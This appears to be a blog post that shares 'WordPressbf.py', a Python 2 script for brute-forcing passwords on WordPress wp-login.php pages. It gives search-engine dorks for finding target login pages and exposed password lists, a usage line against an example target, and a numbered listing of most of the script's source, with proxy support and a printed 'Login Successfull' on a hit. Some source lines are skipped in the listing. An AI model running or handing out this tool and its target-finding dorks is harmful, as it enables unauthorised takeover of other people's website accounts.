WordPressbf.py is a python program that serves to make bruteforce password on wordpress login page. The ability of this program lies in the source list of passwords that takes a function of Loaded Words that exist in this program.
—
How Uses
Test by Kng
dork target : inurl:/wp-login.php
dork password: inurl:/passwords.txt
–syntax
python wordpressbf.py
http://target.com/wp-login.php admin passlistente.txt -v
002 | #WordPress Brute Force (wp-login.php) |
004 | #If cookies enabled brute force will not work (yet) |
005 | #Change response on line 97 if needed. (language) |
007 | #Dork: inurl:wp-login.php |
010 | #d3hydr8[at]gmail[dot]com |
012 | import urllib2, sys, re, urllib, httplib, socket |
014 | print "\n d3hydr8[at]gmail[dot]com WordPressBF v1.0" |
015 | print "----------------------------------------------" |
017 | if len(sys.argv) not in [4,5,6,7]: |
018 | print "Usage: ./wordpressbf.py <site> <user> <wordlist> <options>\n" |
019 | print "\t -p/-proxy <host:port> : Add proxy support" |
020 | print "\t -v/-verbose : Verbose Mode\n" |
023 | for arg in sys.argv[1:]: |
024 | if arg.lower() == "-p" or arg.lower() == "-proxy" : |
025 | proxy = sys.argv[ int (sys.argv[1:].index(arg))+2] |
026 | if arg.lower() == "-v" or arg.lower() == "-verbose" : |
031 | print "\n[+] Testing Proxy..." |
032 | h2 = httplib.HTTPConnection(proxy) |
034 | print "[+] Proxy:" ,proxy |
035 | except(socket.timeout): |
036 | print "\n[-] Proxy Timed Out" |
040 | print "\n[-] Proxy Not Given" |
044 | print "\n[-] Proxy Failed" |
050 | print "[+] Verbose Mode On\n" |
052 | print "[-] Verbose Mode Off\n" |
056 | if sys.argv[1][:7] != "http://" : |
061 | print "[+] BruteForcing:" ,host |
062 | print "[+] User:" ,sys.argv[2] |
065 | words = open(sys.argv[3], "r" ).readlines() |
066 | print "[+] Words Loaded:" ,len(words), "\n" |
068 | print "[-] Error: Check your wordlist path\n" |
072 | word = word.replace( "\r" , "" ).replace( "\n" , "" ) |
074 | ( 'log' , sys.argv[2]), |
076 | ( 'rememberme' , 'forever' ), |
077 | ( 'wp-submit' , 'Login >>' ), |
078 | ( 'redirect_to' , 'wp-admin/' )] |
079 | login_form_data = urllib.urlencode(login_form_seq) |
081 | proxy_handler = urllib2.ProxyHandler({ 'http' : 'http://' +proxy+ '/' }) |
082 | opener = urllib2.build_opener(proxy_handler) |
084 | opener = urllib2.build_opener() |
086 | site = opener.open(host, login_form_data).read() |
087 | except(urllib2.URLError), msg: |
092 | if re.search( "WordPress requires Cookies" ,site): |
093 | print "[-] Failed: WordPress has cookies enabled\n" |
096 | #Change this response if different. (language) |
097 | if re.search( "<strong>ERROR</strong>" ,site) and verbose == 1: |
098 | print "[-] Login Failed:" ,word |
100 | print "\n\t[!] Login Successfull:" ,sys.argv[2],word, "\n" |
102 | print "\n[-] Brute Complete\n" |
Recent Posts